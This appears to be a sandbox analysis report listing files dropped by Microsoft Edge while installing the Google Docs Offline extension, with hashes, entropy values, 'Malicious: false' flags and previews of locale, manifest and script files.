Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Reputation:	unknown
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Reputation:	unknown
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Reputation:	unknown
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Reputation:	unknown
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Reputation:	unknown
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Reputation:	unknown
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir1272_825958322\4d5be34d-2926-4fc1-adf1-187d64afc86e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... 